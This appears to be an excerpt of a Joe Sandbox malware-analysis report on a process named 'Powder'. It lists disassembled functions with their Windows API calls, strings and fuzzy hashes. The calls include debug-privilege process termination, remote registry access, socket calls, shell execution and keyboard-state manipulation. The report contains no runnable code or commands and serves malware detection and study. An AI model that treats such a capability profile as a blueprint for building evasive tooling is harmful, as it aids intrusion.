Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: b68e472f9c621f7396b4cdd40310689dbee8e1dece0629e824c6a9678e1a5ba6
Instruction ID: 691245a9b2f728596ad939170aaa5d3948a5e213557cfe71a8b13986abf66dce
Opcode Fuzzy Hash: b68e472f9c621f7396b4cdd40310689dbee8e1dece0629e824c6a9678e1a5ba6
Instruction Fuzzy Hash: 1641CC31200205AFDB25EF24CC96F7DB7A5EF80714F04801DFA468B392DBB4A946DB96

Function 00CE34DD Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00CE357C

Strings

stop, xrefs: 00CE354D
blank, xrefs: 00CE34FE
warning, xrefs: 00CE3565
question, xrefs: 00CE3535
info, xrefs: 00CE351D

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 9c3898ae89b75e91909f89a379e9882875823aa79040be46897985d08f0b3789
Instruction ID: a4bfc0608f050887942b7a71cf670aecc11ed5573d423d81bc8a848355876546
Opcode Fuzzy Hash: 9c3898ae89b75e91909f89a379e9882875823aa79040be46897985d08f0b3789
Instruction Fuzzy Hash: 1711EB7164A3C7BEA7005A56DC96CAE77ACDF06364F10042AFB1097381E7A47F4056B4

Function 00CE47E8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00CE4802
LoadStringW.USER32(00000000), ref: 00CE4809
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00CE481F
LoadStringW.USER32(00000000), ref: 00CE4826
_wprintf.LIBCMT ref: 00CE484C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00CE486A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00CE4847

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 8442ecfc634ea93a55335ac435fe505eb05d7ac9115961c9e14191a2637c735c
Instruction ID: bf09f022b593ea86d4627e65656048bf5aa39a3ee772a5af391e03056609bb6e
Opcode Fuzzy Hash: 8442ecfc634ea93a55335ac435fe505eb05d7ac9115961c9e14191a2637c735c
Instruction Fuzzy Hash: 5701A2F29003487FE721ABA09D89EF6776CE708300F004195F749E2141EEB49EC54B70

Function 00D0DB04 Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C829E2: GetWindowLongW.USER32(?,000000EB), ref: 00C829F3

GetSystemMetrics.USER32(0000000F), ref: 00D0DB42
GetSystemMetrics.USER32(0000000F), ref: 00D0DB62
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00D0DD9D
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00D0DDBB
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00D0DDDC
ShowWindow.USER32(00000003,00000000), ref: 00D0DDFB
InvalidateRect.USER32(?,00000000,00000001), ref: 00D0DE20
DefDlgProcW.USER32(?,00000005,?,?), ref: 00D0DE43

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: 0498c13ab0e9e1e1a3a3b9e718e974ea42cb42ab333c96d7635e9c9a794d5dc9
Instruction ID: 5111480de0c10196199e3a3cc055e24dc2edc035f0cd7c19d01e389875c14766
Opcode Fuzzy Hash: 0498c13ab0e9e1e1a3a3b9e718e974ea42cb42ab333c96d7635e9c9a794d5dc9
Instruction Fuzzy Hash: 20B17B71600215EFDF14CFA9C9857BD7BB2FF48711F08806AEC489E295D775A990CBA0

Function 00D00371 Relevance: 12.3, APIs: 8, Instructions: 256registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C91A36: _memmove.LIBCMT ref: 00C91A77

Part of subcall function 00D0147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00D0040D,?,?), ref: 00D01491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00D0044E

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper_memmove
String ID:
API String ID: 3479070676-0
Opcode ID: 82775662dd437b3595848232b6bc9669568429fae2c44699456236da26317aaf
Instruction ID: ccbcc84e1b81195f05029d94b2997af9e04fa34bee9c2abcc8ed05ec37cf6edc
Opcode Fuzzy Hash: 82775662dd437b3595848232b6bc9669568429fae2c44699456236da26317aaf
Instruction Fuzzy Hash: 61A19D70204201EFCB14EF64C885B6EBBE5EF84314F18891DF99A872A2DB31E945DF56

Function 00C82E2B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00CBC508,00000004,00000000,00000000,00000000), ref: 00C82E9F
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,00CBC508,00000004,00000000,00000000,00000000,000000FF), ref: 00C82EE7
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,00CBC508,00000004,00000000,00000000,00000000), ref: 00CBC55B
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00CBC508,00000004,00000000,00000000,00000000), ref: 00CBC5C7

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 53db449f45f2667ebc9b16b5f6bb564602afe08fd8d616b55e2406dc6081e511
Instruction ID: eb3f516cb99eb220ec01f43bd65a19392ba96bae2cb4ae4f8b0994502c75e9df
Opcode Fuzzy Hash: 53db449f45f2667ebc9b16b5f6bb564602afe08fd8d616b55e2406dc6081e511
Instruction Fuzzy Hash: 67410F70604780BBC735BB298CCC7AA7F91AB9130AF14840DE457976E0CB75BA85E72C

Function 00CE7681 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00CE7698

Part of subcall function 00CA0FE6: std::exception::exception.LIBCMT ref: 00CA101C
Part of subcall function 00CA0FE6: __CxxThrowException@8.LIBCMT ref: 00CA1031

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00CE76CF
EnterCriticalSection.KERNEL32(?), ref: 00CE76EB
_memmove.LIBCMT ref: 00CE7739
_memmove.LIBCMT ref: 00CE7756
LeaveCriticalSection.KERNEL32(?), ref: 00CE7765
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00CE777A
InterlockedExchange.KERNEL32(?,000001F6), ref: 00CE7799

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: 15cdec4247fed298dc0acb9254ac25e934033d355159af6b570436c345f1b36c
Instruction ID: cad9a323f70bd97e6b522cd78069a668f8b84e4ef831e7b8a493ee9877f59122
Opcode Fuzzy Hash: 15cdec4247fed298dc0acb9254ac25e934033d355159af6b570436c345f1b36c
Instruction Fuzzy Hash: EA319031904209EBCB10EF94DC85EAEBB78EF45354F2481A5FD04EB246DB709E51DBA0

Function 00D067F8 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00D06810
GetDC.USER32(00000000), ref: 00D06818
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00D06823
ReleaseDC.USER32(00000000,00000000), ref: 00D0682F
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00D0686B
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00D0687C
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00D0964F,?,?,000000FF,00000000,?,000000FF,?), ref: 00D068B6
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00D068D6

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 9910e2c53b98cb1083daed974400476c0b35565dbbc8f3082506849535ce9fb9
Instruction ID: ec86fe4616a78df1d9365ff710351b19d82bd220609caec6fd0cedaf7f93d7e6
Opcode Fuzzy Hash: 9910e2c53b98cb1083daed974400476c0b35565dbbc8f3082506849535ce9fb9
Instruction Fuzzy Hash: C9313C722012147FEB119F50DC4AFEA3FA9EB49761F048055FE08DA2D1DAB59892CBB4

Function 00CDC748 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00CDC75D
_memcmp.LIBCMT ref: 00CDC77F
_memcmp.LIBCMT ref: 00CDC797
_memcmp.LIBCMT ref: 00CDC7AA
_memcmp.LIBCMT ref: 00CDC7C4
_memcmp.LIBCMT ref: 00CDC7D7
_memcmp.LIBCMT ref: 00CDC7EF
_memcmp.LIBCMT ref: 00CDC80A

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 3fe4f7ec08ddcf5fe276b2ab00eac6aab2977af2c9cb16df4b35608f51efc5e1
Instruction ID: 5bd451bbf1ccb2f011ea82aa77fbe652e5421cdc7cd7a1b69d0a37247fe1f0da
Opcode Fuzzy Hash: 3fe4f7ec08ddcf5fe276b2ab00eac6aab2977af2c9cb16df4b35608f51efc5e1
Instruction Fuzzy Hash: 8C21C2726452077A9B047521ADC2FEF376DDE22788F094022FE16E6382EB10DF15DAE1

Function 00CEF166 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00C84D37: __itow.LIBCMT ref: 00C84D62
Part of subcall function 00C84D37: __swprintf.LIBCMT ref: 00C84DAC

Part of subcall function 00C9436A: _wcscpy.LIBCMT ref: 00C9438D

_wcstok.LIBCMT ref: 00CEF2D7
_wcscpy.LIBCMT ref: 00CEF366
_memset.LIBCMT ref: 00CEF399

Strings

X, xrefs: 00CEF3D6

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: dc54bdd60f56dd3988f376f4eb335d87608c85c37a5c6398f94a17994b3dbd96
Instruction ID: 5b46c81be74cdffaf7584a04968a1040c19a7965814597ec4cd63b0ba1cd190d
Opcode Fuzzy Hash: dc54bdd60f56dd3988f376f4eb335d87608c85c37a5c6398f94a17994b3dbd96
Instruction Fuzzy Hash: 95C1C0716043819FC714EF24C846A5EB7E4FF85354F04492DF8998B2A2EB30ED46DB92

Function 00CF71EE Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00CF72EB
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00CF730C
WSAGetLastError.WSOCK32(00000000), ref: 00CF731F
htons.WSOCK32(?,?,?,00000000,?), ref: 00CF73D5
inet_ntoa.WSOCK32(?), ref: 00CF7392

Part of subcall function 00CDB4EA: _strlen.LIBCMT ref: 00CDB4F4
Part of subcall function 00CDB4EA: _memmove.LIBCMT ref: 00CDB516

_strlen.LIBCMT ref: 00CF742F
_memmove.LIBCMT ref: 00CF7498

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: f7d0f79a67735d57096c36ca921366d2f351a988e8531f95602a57a2cb1af049
Instruction ID: 04f0d7cf8d8d0b725a2ded50a5294f7c74e4d7a0e58041292dcd6789015604ef
Opcode Fuzzy Hash: f7d0f79a67735d57096c36ca921366d2f351a988e8531f95602a57a2cb1af049
Instruction Fuzzy Hash: 1E810471108305ABD714EB24CC86E6BBBA9EF84714F14461CFA559B292EB70DD01DBA2

Function 00C81800 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b556663abbdc97d8b06e673ae169af7bb4654c15e172332c52c8b7ddabbcdb90
Instruction ID: f843951d4aa12108d192af0a18d47b2e889feb1a0f66583520c9d6159a0db327
Opcode Fuzzy Hash: b556663abbdc97d8b06e673ae169af7bb4654c15e172332c52c8b7ddabbcdb90
Instruction Fuzzy Hash: 80718F30900119FFCB04EF99CC45AEE7BB9FF85314F188159F915AA291C7709A52DB64

Function 00D0B9C3 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00EE5E10), ref: 00D0BA5D
IsWindowEnabled.USER32(00EE5E10), ref: 00D0BA69
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00D0BB4D
SendMessageW.USER32(00EE5E10,000000B0,?,?), ref: 00D0BB84
IsDlgButtonChecked.USER32(?,?), ref: 00D0BBC1
GetWindowLongW.USER32(00EE5E10,000000EC), ref: 00D0BBE3
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00D0BBFB

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 25f9668bb3b5c8b572c58c57a7a7142a614642017e6ab2263c62dfd952d07ca5
Instruction ID: 9704a3afce0102ba8719bd5a8aa7e79c047fe4677f26532701718902062cc041
Opcode Fuzzy Hash: 25f9668bb3b5c8b572c58c57a7a7142a614642017e6ab2263c62dfd952d07ca5
Instruction Fuzzy Hash: 3771AF34A08204AFDB20DF54C894FBABBB5EF49320F18445AF99A97391CB71AC51DB70

Function 00CFFB07 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CFFB31
_memset.LIBCMT ref: 00CFFBFA
ShellExecuteExW.SHELL32(?), ref: 00CFFC3F

Part of subcall function 00C84D37: __itow.LIBCMT ref: 00C84D62
Part of subcall function 00C84D37: __swprintf.LIBCMT ref: 00C84DAC

Part of subcall function 00C9436A: _wcscpy.LIBCMT ref: 00C9438D

GetProcessId.KERNEL32(00000000), ref: 00CFFCB6
CloseHandle.KERNEL32(00000000), ref: 00CFFCE5

Strings

@, xrefs: 00CFFC0E

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: 9e59a8ce4565fbae3a224bf24cc155941e78dc904247fa448874c06c83fcb210
Instruction ID: a02c8546c100ec9c28251a4e9b73f63d5a4f6421c1e3b31eac6d930074af50f2
Opcode Fuzzy Hash: 9e59a8ce4565fbae3a224bf24cc155941e78dc904247fa448874c06c83fcb210
Instruction Fuzzy Hash: A761D071A0061ADFCB14EF54C4919AEBBF5FF08314F14806DE916AB351CB30AD42DB95

Function 00CE174C Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00CE178B
GetKeyboardState.USER32(?), ref: 00CE17A0
SetKeyboardState.USER32(?), ref: 00CE1801
PostMessageW.USER32(?,00000101,00000010,?), ref: 00CE182F
PostMessageW.USER32(?,00000101,00000011,?), ref: 00CE184E
PostMessageW.USER32(?,00000101,00000012,?), ref: 00CE1894
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00CE18B7

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 4efdd6760dd305d546143938b7cd7331fc7c2e98dcca05db8d175d90e2b32cb4
Instruction ID: 97230fc9436cf92c28a507de82617a31911393426cc60b085231e4f7e9493f64
Opcode Fuzzy Hash: 4efdd6760dd305d546143938b7cd7331fc7c2e98dcca05db8d175d90e2b32cb4
Instruction Fuzzy Hash: 8A51D5B0A087D53EFB364226CC55BBA7EE95B06700F0C8589E8E9468C3C6F49EE4D750

Function 00CE1565 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00CE15A4
GetKeyboardState.USER32(?), ref: 00CE15B9
SetKeyboardState.USER32(?), ref: 00CE161A
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00CE1646
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00CE1663
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00CE16A7
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00CE16C8

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 4fcce84dd425677e2bfdeeeececdcdc61b4781bf04876c5b018d34a6b5876df7
Instruction ID: 321e2dd5ae0ff6124aade4aef28801eaa2fa945140f092707c7e46ab07cdbea2
Opcode Fuzzy Hash: 4fcce84dd425677e2bfdeeeececdcdc61b4781bf04876c5b018d34a6b5876df7
Instruction Fuzzy Hash: C451E6B06447D53DFB3287268C45BBABEAD9B05700F0C8589F8F5469C2C6B4EEA4E750

Function 00CE5BB8 Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00CE5BC5
_wcsncpy.LIBCMT ref: 00CE5BFA
_wcsncpy.LIBCMT ref: 00CE5C2C
_wcsncpy.LIBCMT ref: 00CE5C5F
_wcsncpy.LIBCMT ref: 00CE5CA1
_wcsncpy.LIBCMT ref: 00CE5CDB
_wcsncpy.LIBCMT ref: 00CE5D0A

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
